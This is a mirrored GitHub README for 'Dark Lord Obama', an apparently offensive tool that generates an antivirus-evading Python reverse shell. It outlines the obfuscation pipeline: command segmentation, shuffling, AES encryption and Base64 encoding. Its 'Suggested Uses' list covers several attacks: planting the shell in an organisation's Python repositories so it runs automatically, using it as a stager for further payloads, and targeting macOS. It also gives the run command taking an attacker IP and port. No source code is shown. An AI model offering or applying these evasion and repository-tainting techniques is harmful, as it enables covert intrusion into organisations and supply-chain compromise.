Giter VIP home page Giter VIP logo

dark-lord-obama's Introduction

Dark Lord Obama will now be transitioned into Google Golang

The Python 2 to 3 transition was a clusterfuck, a atomic blast of breakage. https://lwn.net/Articles/843660/

It pisses me off, because my code worked PERFECTLY. But now PyPi won't properly install dependencies required for this to work. Even manually installing PyCrypto will through errors https://pypi.org/project/pycrypto/#files.

And I am not a big fan of half-assed hacks to fix things that should have been supported via some sort of compatibility.

Everyone, please move on along to the successor of DarkLordObama, EXOCET-Antivirus-Evasion. https://github.com/tanc7/EXOCET-AV-Evasion

Python is not IMO a programming language. It's a scripting language because it runs through a interpreter built primarily on C and various other languages.

Golang on the other hand, can be cross-compiled across multiple platforms with minimum modifications from a single codebase, usually for compatibility issues with the target operating system. But the point is, Golang WORKS.

I am planning to add inline assembly execution via Golang, which is considered impossible, but watch me do it. I will do it!

Dark Lord Obama - Undetectable Pythonic Payload Generator

Chang Tan Lister Lister Unlimited Cybersecurity Solutions, LLC. [email protected]

DLO generates a Pythonic reverse shell that as of July 29th, 2019, is undetectable on VirusTotal. It combines multiple won't-to-be-disclosed techniques (undiscloseable in detail) including but not limited to:

  1. "Command Segmentation"
  2. "AES Encryption" with a 32-bit key and a 16-bit initialization vector
  3. Base64 Encoding - It was a necessity
  4. Inline Python exec() functions, C asm() functions (will be added soon), Java/Jython, Cython, Ctypes

Dark Lord Obama Official Release Demo

Please click this link for a demostration video of how to use

Demo Video

Suggested Uses

Currently you can, after you gain a foothold in organization

  1. Run the payload standalone.
  2. Replace the proof-of-concept code with a Metasploit python payload
  3. Taint/corrupt Python repositories: Locate the Python code repositories of a organization during a pentest and then copy-paste the entire code and append it to the bottom of the python module, guarantee auto-execution of the reverse shell when the code runs
  4. Use the payload as a stager to download additional payloads
  5. Use the payload against MacOS (MacBooks, iMacs, etc). They natively run Python 2.7.1

Run it as python darklordobama.py <attacker IP> <attacker listening port>

How does it work?

First it chops up your payload into two-character segments, "Command Segmentation)

A ArrayMap is produced to allow the payload to reconstitute itself

The payload is then shuffled into a list array and then encrypted with AES-128

The encrypted payload is encoded in Base64 format

dark-lord-obama's People

Contributors

tanc7 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar  avatar  avatar  avatar  avatar  avatar

dark-lord-obama's Issues

Job.

my skyp: lotsun123dev
I have read your Git, and would like to do business with you.

点赞👍!

为这项目个名称点赞!
Like this name!
奥斑马!

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.